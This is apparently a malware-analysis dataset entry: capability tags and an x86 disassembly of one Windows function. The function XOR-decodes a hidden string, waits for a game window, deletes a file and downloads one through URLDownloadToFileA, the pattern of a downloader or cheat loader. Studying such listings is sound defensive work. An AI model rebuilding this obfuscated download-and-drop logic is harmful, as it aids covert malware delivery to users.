Function at 0x491970
Capabilities:
Delete file
Download url
Encode data using xor
Execute command
Receive data

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5f8b20
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xc0
mov eax, dword [0x681c40]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push 0x6713a4
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
mov edx, 0x66c8f0
call fcn.004981b0
push 0x4e6
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
cmp byte [0x682077], 0
mov eax, 0x68205c
movaps xmm2, xmmword [0x673020]
mov ecx, str.1_4__r__
mov edx, 0x682064
mov esi, 0x682068
je 0x491ac8
movd xmm0, dword [eax]
movaps xmm1, xmmword [0x672f90]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
andps xmm1, xmm2
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [eax], xmm1
movd xmm0, dword [ecx]
movaps xmm1, xmmword [0x672fa0]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
andps xmm1, xmm2
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [ecx], xmm1
mov ecx, 0x10
movd xmm0, dword [edx]
movaps xmm1, xmmword [0x672fb0]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
andps xmm1, xmm2
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [edx], xmm1
movd xmm0, dword [esi]
movaps xmm1, xmmword [0x672fc0]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
andps xmm1, xmm2
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [esi], xmm1
mov al, cl
add al, 0x3f
xor byte [ecx + 0x68205c], al
inc ecx
cmp ecx, 0x1a
jb 0x491ab1
mov byte [0x682077], 0
push 0x68205c
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
push 0x6713a4
call edi
add esp, 4
push str.color_5
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
mov edx, 0x66c8f0
call fcn.004981b0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.___start_cs2_n
call fcn.004981b0
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
push 0x67161c
push 0
call edi
test eax, eax
jne 0x491b3b
push 0x9088
call esi
push 0x67161c
push 0
call edi
test eax, eax
je 0x491b27
push 0xb8
lea eax, [ebp - 0xd0]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp byte [0x682077], 0
je 0x491c3c
movaps xmm2, xmmword [0x673020]
mov eax, 0x68205c
movaps xmm1, xmmword [0x672f90]
movd xmm0, dword [eax]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
andps xmm1, xmm2
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [eax], xmm1
mov eax, str.1_4__r__
movaps xmm1, xmmword [0x672fa0]
movd xmm0, dword [eax]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
andps xmm1, xmm2
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [eax], xmm1
mov eax, 0x682064
movaps xmm1, xmmword [0x672fb0]
movd xmm0, dword [eax]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
andps xmm1, xmm2
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [eax], xmm1
mov eax, 0x682068
movaps xmm1, xmmword [0x672fc0]
movd xmm0, dword [eax]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
andps xmm1, xmm2
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [eax], xmm1
mov eax, 0x10
lea ecx, [eax + 0x3f]
xor byte [eax + 0x68205c], cl
inc eax
cmp eax, 0x1a
jb 0x491c26
mov byte [0x682077], 0
sub esp, 0xc
lea ecx, [ebp - 0xd0]
push 0x68205c
call fcn.004937d0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator_bool_void_const]
test al, al
je 0x491c84
push 0x1f4
push 0x2bc
call dword [sym.imp.KERNEL32.dll_Beep]
call fcn.004912f0
mov ecx, 0x68205c
call fcn.00491890
mov esi, eax
call fcn.00491cb0
push 0
push 0
push esi
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
jmp 0x491c6f